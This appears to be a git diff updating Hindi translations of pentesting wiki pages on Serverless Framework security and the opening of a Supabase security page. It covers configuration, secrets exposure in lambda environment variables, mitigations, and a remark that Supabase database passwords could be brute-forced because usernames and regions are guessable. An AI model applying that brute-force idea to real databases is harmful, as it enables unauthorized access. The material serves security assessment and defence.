@@ -96,9 +96,9 @@ WriteCapacityUnits: 1
प्रदाता
-The **Provider** object specifies the cloud service provider (e.g., AWS, Azure, Google Cloud) and contains configuration settings relevant to that provider.
+**प्रदाता** ऑब्जेक्ट क्लाउड सेवा प्रदाता (जैसे, AWS, Azure, Google Cloud) को निर्दिष्ट करता है और उस प्रदाता से संबंधित कॉन्फ़िगरेशन सेटिंग्स को शामिल करता है।
-यह विवरण शामिल करता है जैसे कि रनटाइम, क्षेत्र, चरण, और क्रेडेंशियल्स।
+इसमें रनटाइम, क्षेत्र, चरण, और क्रेडेंशियल्स जैसी जानकारी शामिल है।
```yaml
yamlCopy codeprovider:
name: aws
@@ -128,7 +128,7 @@ region: us-west-2
Plugins
-**Plugins** सर्वरलेस फ्रेमवर्क की कार्यक्षमता को नए फीचर्स जोड़कर या अन्य उपकरणों और सेवाओं के साथ एकीकृत करके बढ़ाते हैं। इन्हें `plugins` अनुभाग के तहत परिभाषित किया गया है और npm के माध्यम से स्थापित किया जाता है।
+**Plugins** Serverless Framework की कार्यक्षमता को नए फीचर्स जोड़कर या अन्य उपकरणों और सेवाओं के साथ एकीकृत करके बढ़ाते हैं। इन्हें `plugins` अनुभाग के तहत परिभाषित किया जाता है और npm के माध्यम से स्थापित किया जाता है।
```yaml
plugins:
- serverless-offline
@@ -140,7 +140,7 @@ plugins:
परतें
-**परतें** आपको साझा कोड या निर्भरताओं को आपके कार्यों से अलग पैकेज और प्रबंधित करने की अनुमति देती हैं। यह पुन: उपयोग को बढ़ावा देती है और तैनाती पैकेज के आकार को कम करती है। इन्हें `layers` अनुभाग के तहत परिभाषित किया जाता है और कार्यों द्वारा संदर्भित किया जाता है।
+**परतें** आपको साझा कोड या निर्भरताओं को आपके कार्यों से अलग पैकेज और प्रबंधित करने की अनुमति देती हैं। यह पुन: उपयोगिता को बढ़ावा देती है और तैनाती पैकेज के आकार को कम करती है। इन्हें `layers` अनुभाग के तहत परिभाषित किया जाता है और कार्यों द्वारा संदर्भित किया जाता है।
```yaml
layers:
commonLibs:
@@ -157,7 +157,7 @@ layers:
चर और कस्टम चर
-**चर** गतिशील कॉन्फ़िगरेशन को सक्षम करते हैं, जिससे प्लेसहोल्डर का उपयोग किया जा सकता है जो तैनाती के समय हल होते हैं।
+**चर** गतिशील कॉन्फ़िगरेशन को सक्षम करते हैं, जिससे प्लेसहोल्डर्स का उपयोग किया जा सकता है जो तैनाती के समय हल होते हैं।
- **सिंटैक्स:** `${variable}` सिंटैक्स पर्यावरण चर, फ़ाइल सामग्री, या अन्य कॉन्फ़िगरेशन पैरामीटर को संदर्भित कर सकता है।
@@ -183,7 +183,7 @@ stage: ${opt:stage, 'dev'}
आउटपुट
-**आउटपुट** उन मानों को परिभाषित करते हैं जो एक सेवा के तैनात होने के बाद लौटाए जाते हैं, जैसे संसाधन ARN, एंडपॉइंट, या अन्य उपयोगी जानकारी। इन्हें `outputs` अनुभाग के तहत निर्दिष्ट किया जाता है और अक्सर अन्य सेवाओं के लिए जानकारी को उजागर करने या तैनाती के बाद आसान पहुंच के लिए उपयोग किया जाता है।
+**आउटपुट** उन मानों को परिभाषित करते हैं जो एक सेवा के तैनात होने के बाद लौटाए जाते हैं, जैसे संसाधन ARN, एंडपॉइंट, या अन्य उपयोगी जानकारी। इन्हें `outputs` अनुभाग के तहत निर्दिष्ट किया जाता है और अक्सर अन्य सेवाओं के लिए जानकारी को उजागर करने या तैनाती के बाद आसान पहुँच के लिए उपयोग किया जाता है।
```yaml
¡outputs:
ApiEndpoint:
@@ -204,7 +204,7 @@ Fn::Join:
IAM भूमिकाएँ और अनुमतियाँ
-**IAM भूमिकाएँ और अनुमतियाँ** आपके कार्यों और अन्य संसाधनों के लिए सुरक्षा क्रेडेंशियल और पहुँच अधिकारों को परिभाषित करती हैं। इन्हें आवश्यक अनुमतियों को निर्दिष्ट करने के लिए `provider` या व्यक्तिगत कार्य सेटिंग्स के तहत प्रबंधित किया जाता है।
+**IAM भूमिकाएँ और अनुमतियाँ** आपके कार्यों और अन्य संसाधनों के लिए सुरक्षा क्रेडेंशियल्स और पहुँच अधिकारों को परिभाषित करती हैं। इन्हें आवश्यक अनुमतियों को निर्दिष्ट करने के लिए `provider` या व्यक्तिगत कार्य सेटिंग्स के अंतर्गत प्रबंधित किया जाता है।
```yaml
provider:
[...]
@@ -226,7 +226,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-
पर्यावरण चर
-**चर** आपको अपने कार्यों को कॉन्फ़िगरेशन सेटिंग्स और रहस्यों को बिना हार्डकोड किए पास करने की अनुमति देते हैं। इन्हें प्रदाता या व्यक्तिगत कार्यों के लिए `environment` अनुभाग के तहत परिभाषित किया जाता है।
+**चर** आपको अपने कार्यों में कॉन्फ़िगरेशन सेटिंग्स और रहस्यों को हार्डकोड किए बिना पास करने की अनुमति देते हैं। इन्हें प्रदाता या व्यक्तिगत कार्यों के लिए `environment` अनुभाग के तहत परिभाषित किया जाता है।
```yaml
provider:
environment:
@@ -243,7 +243,7 @@ TABLE_NAME: ${self:custom.tableName}
Dependencies
-**Dependencies** आपके फ़ंक्शंस के लिए आवश्यक बाहरी पुस्तकालयों और मॉड्यूलों का प्रबंधन करते हैं। इन्हें आमतौर पर npm या pip जैसे पैकेज प्रबंधकों के माध्यम से संभाला जाता है, और `serverless-webpack` जैसे उपकरणों या प्लगइनों का उपयोग करके आपके डिप्लॉयमेंट पैकेज के साथ बंडल किया जाता है।
+**Dependencies** आपके फ़ंक्शंस के लिए आवश्यक बाहरी पुस्तकालयों और मॉड्यूलों का प्रबंधन करते हैं। इन्हें आमतौर पर npm या pip जैसे पैकेज प्रबंधकों के माध्यम से संभाला जाता है, और `serverless-webpack` जैसे उपकरणों या प्लगइन्स का उपयोग करके आपके डिप्लॉयमेंट पैकेज के साथ बंडल किया जाता है।
```yaml
plugins:
- serverless-webpack
@@ -254,7 +254,7 @@ plugins:
हुक
-**हुक** आपको परिनियोजन जीवनचक्र के विशिष्ट बिंदुओं पर कस्टम स्क्रिप्ट या कमांड चलाने की अनुमति देते हैं। इन्हें प्लगइन्स का उपयोग करके या `serverless.yml` के भीतर परिभाषित किया जाता है ताकि परिनियोजन से पहले या बाद में क्रियाएँ की जा सकें।
+**हुक** आपको परिनियोजन जीवनचक्र के विशिष्ट बिंदुओं पर कस्टम स्क्रिप्ट या कमांड चलाने की अनुमति देते हैं। उन्हें प्लगइन्स का उपयोग करके या `serverless.yml` के भीतर परिभाषित किया जाता है ताकि परिनियोजन से पहले या बाद में क्रियाएँ की जा सकें।
```yaml
custom:
hooks:
@@ -262,7 +262,7 @@ before:deploy:deploy: echo "Starting deployment..."
```
-### Tutorial
+### ट्यूटोरियल
यह आधिकारिक ट्यूटोरियल का सारांश है [**from the docs**](https://www.serverless.com/framework/docs/tutorial):
@@ -284,7 +284,7 @@ serverless #Choose first one (AWS / Node.js / HTTP API)
## Create A New App
## Indicate a name like "tutorialapp)
```
-यह एक **app** बनाना चाहिए था जिसका नाम `tutorialapp` है, जिसे आप [serverless.com](serverless.com-security.md) में देख सकते हैं और एक फ़ोल्डर बनाना चाहिए था जिसका नाम `Tutorial` है जिसमें फ़ाइल **`handler.js`** है जिसमें कुछ JS कोड है जिसमें `helloworld` कोड है और फ़ाइल **`serverless.yml`** है जो उस फ़ंक्शन की घोषणा करती है:
+यह एक **ऐप** `tutorialapp` बनाना चाहिए था जिसे आप [serverless.com](serverless.com-security.md) में देख सकते हैं और एक फ़ोल्डर `Tutorial` के साथ जिसमें **`handler.js`** फ़ाइल है जिसमें कुछ JS कोड है जिसमें `helloworld` कोड है और **`serverless.yml`** फ़ाइल है जो उस फ़ंक्शन की घोषणा करती है:
{{#tabs }}
{{#tab name="handler.js" }}
@@ -325,7 +325,7 @@ method: get
4. एक AWS प्रदाता बनाएं, **डैशबोर्ड** में जाकर `https://app.serverless.com//settings/providers?providerId=new&provider=aws`।
1. `serverless.com` को AWS तक पहुंच देने के लिए यह इस कॉन्फ़िग फ़ाइल का उपयोग करके एक क्लाउडफॉर्मेशन स्टैक चलाने के लिए कहेगा (इस लेख के समय): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
-2. यह टेम्पलेट **`SFRole-`** नामक एक भूमिका उत्पन्न करता है जिसमें **`arn:aws:iam::aws:policy/AdministratorAccess`** उस खाते पर है जिसमें एक ट्रस्ट आइडेंटिटी है जो `Serverless.com` AWS खाते को भूमिका तक पहुंचने की अनुमति देती है।
+2. यह टेम्पलेट **`SFRole-`** नामक एक भूमिका उत्पन्न करता है जिसमें **`arn:aws:iam::aws:policy/AdministratorAccess`** उस खाते पर है जिसमें एक ट्रस्ट पहचान है जो `Serverless.com` AWS खाते को भूमिका तक पहुंचने की अनुमति देती है।
@@ -399,7 +399,7 @@ Type: String
```
-5. ट्यूटोरियल `createCustomer.js` फ़ाइल बनाने के लिए कहता है, जो मूल रूप से एक नया API एंडपॉइंट बनाएगा जिसे नए JS फ़ाइल द्वारा संभाला जाएगा और `serverless.yml` फ़ाइल को संशोधित करने के लिए कहता है ताकि यह एक **नया DynamoDB तालिका** उत्पन्न करे, एक **पर्यावरण चर** परिभाषित करे, और उस भूमिका को परिभाषित करे जो उत्पन्न लैंब्डा का उपयोग करेगी।
+5. ट्यूटोरियल में `createCustomer.js` फ़ाइल बनाने के लिए कहा गया है, जो मूल रूप से एक नया API एंडपॉइंट बनाएगा जिसे नए JS फ़ाइल द्वारा संभाला जाएगा और `serverless.yml` फ़ाइल को संशोधित करने के लिए कहा गया है ताकि यह एक **नया DynamoDB तालिका** उत्पन्न करे, एक **पर्यावरण चर** परिभाषित करे, और उस भूमिका को परिभाषित करे जो उत्पन्न लैंब्डा का उपयोग करेगी।
{{#tabs }}
{{#tab name="createCustomer.js" }}
@@ -551,12 +551,12 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-
### **असुरक्षित रहस्य और कॉन्फ़िगरेशन प्रबंधन**
-संवेदनशील जानकारी (जैसे, API कुंजी, डेटाबेस क्रेडेंशियल) को सीधे **`serverless.yml`** या कोड में स्टोर करना जोखिम भरा हो सकता है यदि रिपॉजिटरी से समझौता किया जाता है।
+संवेदनशील जानकारी (जैसे, API कुंजी, डेटाबेस क्रेडेंशियल) को सीधे **`serverless.yml`** या कोड में संग्रहीत करने से जोखिम हो सकता है यदि रिपॉजिटरी से समझौता किया जाता है।
-**`serverless.yml`** फ़ाइल में पर्यावरण चर को स्टोर करने का **सिफारिश की गई** विधि serverless.com से (इस लेख के समय) `ssm` या `s3` प्रदाताओं का उपयोग करना है, जो **तैनाती के समय इन स्रोतों से पर्यावरण मान प्राप्त करने** और **लैम्ब्डा** के पर्यावरण चर को **मानों के स्पष्ट पाठ के साथ कॉन्फ़िगर** करने की अनुमति देता है!
+**`serverless.yml`** फ़ाइल में पर्यावरण चर को संग्रहीत करने का **सिफारिश की गई** विधि serverless.com से (इस लेख के समय) `ssm` या `s3` प्रदाताओं का उपयोग करना है, जो **तैनाती के समय इन स्रोतों से पर्यावरण मान प्राप्त करने** और **lambdas** पर्यावरण चर को **मानों के स्पष्ट पाठ के साथ कॉन्फ़िगर** करने की अनुमति देता है!
> [!CAUTION]
-> इसलिए, AWS के अंदर लैम्ब्डा की कॉन्फ़िगरेशन पढ़ने के लिए अनुमतियाँ रखने वाला कोई भी व्यक्ति **इन सभी पर्यावरण चर को स्पष्ट पाठ में एक्सेस कर सकेगा!**
+> इसलिए, AWS के अंदर lambdas कॉन्फ़िगरेशन को पढ़ने के लिए अनुमतियाँ रखने वाला कोई भी व्यक्ति **इन सभी पर्यावरण चर को स्पष्ट पाठ में एक्सेस कर सकेगा!**
उदाहरण के लिए, निम्नलिखित उदाहरण SSM का उपयोग करके एक पर्यावरण चर प्राप्त करेगा:
```yaml
@@ -564,26 +564,26 @@ provider:
environment:
DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
```
-And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**.
+और भले ही यह **`serverless.yml`** फ़ाइल में पर्यावरण चर मान को हार्डकोड करने से रोकता है, मान तैनाती के समय प्राप्त किया जाएगा और **लैम्ब्डा पर्यावरण चर के अंदर स्पष्ट पाठ में जोड़ा जाएगा**।
> [!TIP]
-> The recommended way to store environment variables using serveless.com would be to **store it in a AWS secret** and just store the secret name in the environment variable and the **lambda code should gather it**.
+> serveless.com का उपयोग करके पर्यावरण चर को स्टोर करने का अनुशंसित तरीका **AWS सीक्रेट में स्टोर करना** होगा और बस पर्यावरण चर में सीक्रेट नाम को स्टोर करना और **लैम्ब्डा कोड को इसे इकट्ठा करना चाहिए**।
-#### **Mitigation Strategies**
+#### **निवारण रणनीतियाँ**
-- **Secrets Manager Integration:** Use services like **AWS Secrets Manager.**
-- **Encrypted Variables:** Leverage Serverless Framework’s encryption features for sensitive data.
-- **Access Controls:** Restrict access to secrets based on roles.
+- **सीक्रेट्स मैनेजर इंटीग्रेशन:** **AWS Secrets Manager** जैसी सेवाओं का उपयोग करें।
+- **एन्क्रिप्टेड वेरिएबल्स:** संवेदनशील डेटा के लिए Serverless Framework की एन्क्रिप्शन सुविधाओं का लाभ उठाएं।
+- **एक्सेस कंट्रोल:** भूमिकाओं के आधार पर सीक्रेट्स तक पहुंच को प्रतिबंधित करें।
---
-### **Vulnerable Code and Dependencies**
+### **कमजोर कोड और निर्भरताएँ**
-Outdated or insecure dependencies can introduce vulnerabilities, while improper input handling may lead to code injection attacks.
+पुरानी या असुरक्षित निर्भरताएँ कमजोरियों को पेश कर सकती हैं, जबकि अनुचित इनपुट हैंडलिंग कोड इंजेक्शन हमलों का कारण बन सकती है।
-#### **Mitigation Strategies**
+#### **निवारण रणनीतियाँ**
-- **Dependency Management:** Regularly update dependencies and scan for vulnerabilities.
+- **निर्भरता प्रबंधन:** नियमित रूप से निर्भरताओं को अपडेट करें और कमजोरियों के लिए स्कैन करें।
```yaml
plugins:
@@ -591,38 +591,38 @@ plugins:
- serverless-plugin-snyk
```
-- **Input Validation:** Implement strict validation and sanitization of all inputs.
-- **Code Reviews:** Conduct thorough reviews to identify security flaws.
-- **Static Analysis:** Use tools to detect vulnerabilities in the codebase.
+- **इनपुट मान्यता:** सभी इनपुट की सख्त मान्यता और सफाई लागू करें।
+- **कोड समीक्षाएँ:** सुरक्षा दोषों की पहचान के लिए गहन समीक्षाएँ करें।
+- **स्टेटिक एनालिसिस:** कोडबेस में कमजोरियों का पता लगाने के लिए उपकरणों का उपयोग करें।
---
-### **Inadequate Logging and Monitoring**
+### **अपर्याप्त लॉगिंग और मॉनिटरिंग**
-Without proper logging and monitoring, malicious activities may go undetected, delaying incident response.
+सही लॉगिंग और मॉनिटरिंग के बिना, दुर्भावनापूर्ण गतिविधियाँ अनदेखी रह सकती हैं, जिससे घटना प्रतिक्रिया में देरी हो सकती है।
-#### **Mitigation Strategies**
+#### **निवारण रणनीतियाँ**
-- **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**.
+- **केंद्रीकृत लॉगिंग:** **AWS CloudWatch** या **Datadog** जैसी सेवाओं का उपयोग करके लॉग को एकत्रित करें।
```yaml
plugins:
- serverless-plugin-datadog
```
-- **Enable Detailed Logging:** Capture essential information without exposing sensitive data.
-- **Set Up Alerts:** Configure alerts for suspicious activities or anomalies.
-- **Regular Monitoring:** Continuously monitor logs and metrics for potential security incidents.
+- **विस्तृत लॉगिंग सक्षम करें:** संवेदनशील डेटा को उजागर किए बिना आवश्यक जानकारी कैप्चर करें।
+- **अलर्ट सेट करें:** संदिग्ध गतिविधियों या विसंगतियों के लिए अलर्ट कॉन्फ़िगर करें।
+- **नियमित मॉनिटरिंग:** संभावित सुरक्षा घटनाओं के लिए लॉग और मैट्रिक्स की निरंतर निगरानी करें।
---
-### **Insecure API Gateway Configurations**
+### **असुरक्षित API गेटवे कॉन्फ़िगरेशन**
-Open or improperly secured APIs can be exploited for unauthorized access, Denial of Service (DoS) attacks, or cross-site attacks.
+खुले या अनुचित रूप से सुरक्षित APIs का दुरुपयोग अनधिकृत पहुंच, सेवा से इनकार (DoS) हमलों, या क्रॉस-साइट हमलों के लिए किया जा सकता है।
-#### **Mitigation Strategies**
+#### **निवारण रणनीतियाँ**
-- **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT.
+- **प्रमाणीकरण और प्राधिकरण:** OAuth, API कुंजी, या JWT जैसे मजबूत तंत्र लागू करें।
```yaml
functions:
@@ -635,7 +635,7 @@ method: get
authorizer: aws_iam
```
-- **Rate Limiting and Throttling:** Prevent abuse by limiting request rates.
+- **रेट लिमिटिंग और थ्रॉटलिंग:** अनुरोध दरों को सीमित करके दुरुपयोग को रोकें।
```yaml
provider:
@@ -645,7 +645,7 @@ burstLimit: 200
rateLimit: 100
```
-- **Secure CORS Configuration:** Restrict allowed origins, methods, and headers.
+- **सुरक्षित CORS कॉन्फ़िगरेशन:** अनुमत मूल, विधियों और हेडरों को प्रतिबंधित करें।
```yaml
functions:
@@ -661,23 +661,152 @@ headers:
- Content-Type
```
-- **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns.
+- **वेब एप्लिकेशन फ़ायरवॉल (WAF) का उपयोग करें:** दुर्भावनापूर्ण पैटर्न के लिए HTTP अनुरोधों को फ़िल्टर और मॉनिटर करें।
---
-### **Insufficient Function Isolation**
+### **अपर्याप्त फ़ंक्शन अलगाव**
-Shared resources and inadequate isolation can lead to privilege escalations or unintended interactions between functions.
+साझा संसाधन और अपर्याप्त अलगाव विशेषाधिकार वृद्धि या कार्यों के बीच अनपेक्षित इंटरैक्शन का कारण बन सकते हैं।
-#### **Mitigation Strategies**
+#### **निवारण रणनीतियाँ**
-- **Isolate Functions:** Assign distinct resources and IAM roles to ensure independent operation.
-- **Resource Partitioning:** Use separate databases or storage buckets for different functions.
-- **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation.
+- **फंक्शंस को अलग करें:** स्वतंत्र संचालन सुनिश्चित करने के लिए विशिष्ट संसाधनों और IAM भूमिकाओं को असाइन करें।
+- **संसाधन विभाजन:** विभिन्न कार्यों के लिए अलग डेटाबेस या स्टोरेज बकेट का उपयोग करें।
+- **VPCs का उपयोग करें:** नेटवर्क अलगाव को बढ़ाने के लिए कार्यों को वर्चुअल प्राइवेट क्लाउड में तैनात करें।
```yaml
provider:
vpc:
securityGroupIds:
- sg-xxxxxxxx
-sub
+subnetIds:
+- subnet-xxxxxx
+```
+
+- **फंक्शन अनुमतियों को सीमित करें:** सुनिश्चित करें कि कार्य एक-दूसरे के संसाधनों तक पहुंच या हस्तक्षेप नहीं कर सकते जब तक कि स्पष्ट रूप से आवश्यक न हो।
+
+---
+
+### **अपर्याप्त डेटा सुरक्षा**
+
+आराम या ट्रांजिट में बिना एन्क्रिप्टेड डेटा को उजागर किया जा सकता है, जिससे डेटा उल्लंघन या छेड़छाड़ हो सकती है।
+
+#### **निवारण रणनीतियाँ**
+
+- **आराम में डेटा एन्क्रिप्ट करें:** क्लाउड सेवा एन्क्रिप्शन सुविधाओं का उपयोग करें।
+
+```yaml
+resources:
+Resources:
+MyDynamoDBTable:
+Type: AWS::DynamoDB::Table
+Properties:
+SSESpecification:
+SSEEnabled: true
+```
+
+- **ट्रांजिट में डेटा एन्क्रिप्ट करें:** सभी डेटा ट्रांसमिशन के लिए HTTPS/TLS का उपयोग करें।
+- **API संचार को सुरक्षित करें:** एन्क्रिप्शन प्रोटोकॉल लागू करें और प्रमाणपत्रों को मान्य करें।
+- **एन्क्रिप्शन कुंजियों का सुरक्षित प्रबंधन करें:** प्रबंधित कुंजी सेवाओं का उपयोग करें और नियमित रूप से कुंजियों को घुमाएँ।
+
+---
+
+### **सही त्रुटि हैंडलिंग की कमी**
+
+विस्तृत त्रुटि संदेश बुनियादी ढांचे या कोडबेस के बारे में संवेदनशील जानकारी को उजागर कर सकते हैं, जबकि अनहैंडल्ड अपवाद एप्लिकेशन क्रैश का कारण बन सकते हैं।
+
+#### **निवारण रणनीतियाँ**
+
+- **सामान्य त्रुटि संदेश:** त्रुटि प्रतिक्रियाओं में आंतरिक विवरण को उजागर करने से बचें।
+
+```javascript
+javascriptCopy code// Example in Node.js
+exports.hello = async (event) => {
+try {
+// Function logic
+} catch (error) {
+console.error(error);
+return {
+statusCode: 500,
+body: JSON.stringify({ message: 'Internal Server Error' }),
+};
+}
+};
+```
+
+- **केंद्रीकृत त्रुटि हैंडलिंग:** सभी कार्यों में त्रुटियों को लगातार प्रबंधित और साफ करें।
+- **त्रुटियों की निगरानी और लॉगिंग करें:** अंत-उपयोगकर्ताओं को विवरण उजागर किए बिना आंतरिक रूप से त्रुटियों को ट्रैक और विश्लेषण करें।
+
+---
+
+### **असुरक्षित तैनाती प्रथाएँ**
+
+खुले तैनाती कॉन्फ़िगरेशन या CI/CD पाइपलाइनों तक अनधिकृत पहुंच दुर्भावनापूर्ण कोड तैनात करने या गलत कॉन्फ़िगरेशन का कारण बन सकती है।
+
+#### **निवारण रणनीतियाँ**
+
+- **सुरक्षित CI/CD पाइपलाइन्स:** सख्त एक्सेस नियंत्रण, मल्टी-फैक्टर प्रमाणीकरण (MFA), और नियमित ऑडिट लागू करें।
+- **कॉन्फ़िगरेशन को सुरक्षित रूप से स्टोर करें:** तैनाती फ़ाइलों को हार्डकोडेड सीक्रेट्स और संवेदनशील डेटा से मुक्त रखें।
+- **इन्फ्रास्ट्रक्चर ऐज़ कोड (IaC) सुरक्षा उपकरणों का उपयोग करें:** सुरक्षा नीतियों को लागू करने के लिए **Checkov** या **Terraform Sentinel** जैसे उपकरणों का उपयोग करें।
+- **अपरिवर्तनीय तैनाती:** अपरिवर्तनीय बुनियादी ढांचे की प्रथाओं को अपनाकर तैनाती के बाद अनधिकृत परिवर्तनों को रोकें।
+
+---
+
+### **प्लगइन्स और एक्सटेंशन में कमजोरियाँ**
+
+अन्यथा अप्रूव्ड या दुर्भावनापूर्ण तृतीय-पक्ष प्लगइन्स का उपयोग आपके सर्वरलेस अनुप्रयोगों में कमजोरियाँ पेश कर सकता है।
+
+#### **निवारण रणनीतियाँ**
+
+- **प्लगइन्स की अच्छी तरह से जांच करें:** एकीकरण से पहले प्लगइन्स की सुरक्षा का आकलन करें, प्रतिष्ठित स्रोतों से उन पर प्राथमिकता दें।
+- **प्लगइन उपयोग को सीमित करें:** हमले की सतह को कम करने के लिए केवल आवश्यक प्लगइन्स का उपयोग करें।
+- **प्लगइन अपडेट की निगरानी करें:** सुरक्षा पैचों का लाभ उठाने के लिए प्लगइन्स को अपडेट रखें।
+- **प्लगइन वातावरण को अलग करें:** संभावित समझौतों को सीमित करने के लिए प्लगइन्स को अलग वातावरण में चलाएँ।
+
+---
+
+### **संवेदनशील एंडपॉइंट्स का उजागर होना**
+
+सार्वजनिक रूप से सुलभ कार्य या अनियंत्रित APIs का दुरुपयोग अनधिकृत संचालन के लिए किया जा सकता है।
+
+#### **निवारण रणनीतियाँ**
+
+- **कार्य पहुंच को प्रतिबंधित करें:** विश्वसनीय स्रोतों तक पहुंच को सीमित करने के लिए VPCs, सुरक्षा समूहों, और फ़ायरवॉल नियमों का उपयोग करें।
+- **मजबूत प्रमाणीकरण लागू करें:** सुनिश्चित करें कि सभी उजागर एंडपॉइंट्स को उचित प्रमाणीकरण और प्राधिकरण की आवश्यकता है।
+- **API गेटवे का सुरक्षित उपयोग करें:** सुरक्षा नीतियों को लागू करने के लिए API गेटवे को कॉन्फ़िगर करें, जिसमें इनपुट मान्यता और दर सीमित करना शामिल है।
+- **अप्रयुक्त एंडपॉइंट्स को बंद करें:** नियमित रूप से समीक्षा करें और किसी भी एंडपॉइंट को बंद करें जो अब उपयोग में नहीं है।
+
+---
+
+### **टीम के सदस्यों और बाहरी सहयोगियों के लिए अत्यधिक अनुमतियाँ**
+
+टीम के सदस्यों और बाहरी सहयोगियों को अत्यधिक अनुमतियाँ देना अनधिकृत पहुंच, डेटा उल्लंघन, और संसाधनों के दुरुपयोग का कारण बन सकता है। यह जोखिम उन वातावरणों में बढ़ जाता है जहाँ कई व्यक्तियों के पास विभिन्न स्तरों की पहुंच होती है, जिससे हमले की सतह और आंतरिक खतरों की संभावना बढ़ जाती है।
+
+#### **निवारण रणनीतियाँ**
+
+- **कम से कम विशेषाधिकार का सिद्धांत:** सुनिश्चित करें कि टीम के सदस्यों और सहयोगियों के पास केवल वही अनुमतियाँ हों जो उनके कार्यों को पूरा करने के लिए आवश्यक हैं।
+
+---
+
+### **एक्सेस कुंजी और लाइसेंस कुंजी सुरक्षा**
+
+**एक्सेस कुंजी** और **लाइसेंस कुंजी** महत्वपूर्ण प्रमाणपत्र हैं जो Serverless Framework CLI के साथ इंटरैक्शन को प्रमाणित और अधिकृत करने के लिए उपयोग किए जाते हैं।
+
+- **लाइसेंस कुंजी:** ये अद्वितीय पहचानकर्ता हैं जो Serverless Framework संस्करण 4 तक पहुंच को प्रमाणित करने के लिए आवश्यक हैं, जो CLI के माध्यम से लॉगिन की अनुमति देता है।
+- **एक्सेस कुंजी:** प्रमाणपत्र जो Serverless Framework CLI को Serverless Framework डैशबोर्ड के साथ प्रमाणित करने की अनुमति देती हैं। जब `serverless` CLI के साथ लॉगिन किया जाता है, तो एक एक्सेस कुंजी **जनरेट और लैपटॉप में स्टोर की जाएगी**। आप इसे `SERVERLESS_ACCESS_KEY` नामक पर्यावरण चर के रूप में भी सेट कर सकते हैं।
+
+#### **सुरक्षा जोखिम**
+
+1. **कोड रिपॉजिटरी के माध्यम से उजागर होना:**
+- एक्सेस कुंजी और लाइसेंस कुंजी को हार्डकोड करना या गलती से संस्करण नियंत्रण प्रणालियों में कमिट करना अनधिकृत पहुंच का कारण बन सकता है।
+2. **असुरक्षित भंडारण:**
+- उचित एन्क्रिप्शन के बिना पर्यावरण चर या कॉन्फ़िगरेशन फ़ाइलों में कुंजियों को स्पष्ट पाठ में स्टोर करना लीक होने की संभावना को बढ़ाता है।
+3. **अनुचित वितरण:**
+- असुरक्षित चैनलों (जैसे, ईमेल, चैट) के माध्यम से कुंजियों को साझा करना दुर्भावनापूर्ण तत्वों द्वारा इंटरसेप्शन का परिणाम हो सकता है।
+4. **घुमाव की कमी:**
+- कुंजियों को नियमित रूप से घुमाने में विफलता यदि कुंजियाँ समझौता की जाती हैं तो एक्सपोज़र अवधि को बढ़ा देती है।
+5. **अत्यधिक अनुमतियाँ:**
+- व्यापक अनुमतियों वाली कुंजियों का दुरुपयोग किया जा सकता है ताकि कई संसाधनों में अनधिकृत क्रियाएँ की जा सकें।
+
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md
index a1cff83c1..c2e172b47 100644
--- a/src/pentesting-ci-cd/supabase-security.md
+++ b/src/pentesting-ci-cd/supabase-security.md
@@ -1,49 +1,49 @@
-# Supabase Security
+# Supabase सुरक्षा
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## मूल जानकारी
-As per their [**landing page**](https://supabase.com/): Supabase एक ओपन सोर्स Firebase विकल्प है। अपने प्रोजेक्ट को Postgres डेटाबेस, Authentication, इंस्टेंट APIs, Edge Functions, Realtime subscriptions, Storage, और Vector embeddings के साथ शुरू करें।
+उनके [**लैंडिंग पृष्ठ**](https://supabase.com/) के अनुसार: Supabase एक ओपन-सोर्स Firebase विकल्प है। अपने प्रोजेक्ट को एक Postgres डेटाबेस, प्रमाणीकरण, तात्कालिक APIs, Edge Functions, रीयलटाइम सब्सक्रिप्शन, स्टोरेज, और वेक्टर एम्बेडिंग के साथ शुरू करें।
-### Subdomain
+### उपडोमेन
बुनियादी रूप से जब एक प्रोजेक्ट बनाया जाता है, तो उपयोगकर्ता को एक supabase.co उपडोमेन प्राप्त होगा जैसे: **`jnanozjdybtpqgcwhdiz.supabase.co`**
-## **Database configuration**
+## **डेटाबेस कॉन्फ़िगरेशन**
> [!TIP]
-> **यह डेटा एक लिंक से एक्सेस किया जा सकता है जैसे `https://supabase.com/dashboard/project//settings/database`**
+> **इस डेटा को एक लिंक से एक्सेस किया जा सकता है जैसे `https://supabase.com/dashboard/project//settings/database`**
यह **डेटाबेस** कुछ AWS क्षेत्र में तैनात किया जाएगा, और इससे कनेक्ट करने के लिए इसे कनेक्ट करना संभव होगा: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (यह us-west-1 में बनाया गया था)।\
-पासवर्ड एक **पासवर्ड है जो उपयोगकर्ता ने पहले डाला था**।
+पासवर्ड वह **पासवर्ड है जो उपयोगकर्ता ने पहले डाला था**।
-इसलिए, चूंकि उपडोमेन एक ज्ञात है और इसका उपयोग उपयोगकर्ता नाम के रूप में किया जाता है और AWS क्षेत्र सीमित हैं, इसलिए **पासवर्ड को ब्रूट फोर्स करने** का प्रयास करना संभव हो सकता है।
+इसलिए, चूंकि उपडोमेन एक ज्ञात है और इसका उपयोग उपयोगकर्ता नाम के रूप में किया जाता है और AWS क्षेत्र सीमित हैं, यह संभव हो सकता है कि **पासवर्ड को ब्रूट फोर्स करने की कोशिश की जाए**।
इस अनुभाग में निम्नलिखित विकल्प भी शामिल हैं:
- डेटाबेस पासवर्ड रीसेट करें
- कनेक्शन पूलिंग कॉन्फ़िगर करें
-- SSL कॉन्फ़िगर करें: प्लेन-टेक्स्ट कनेक्शनों को अस्वीकार करें (डिफ़ॉल्ट रूप से ये सक्षम हैं)
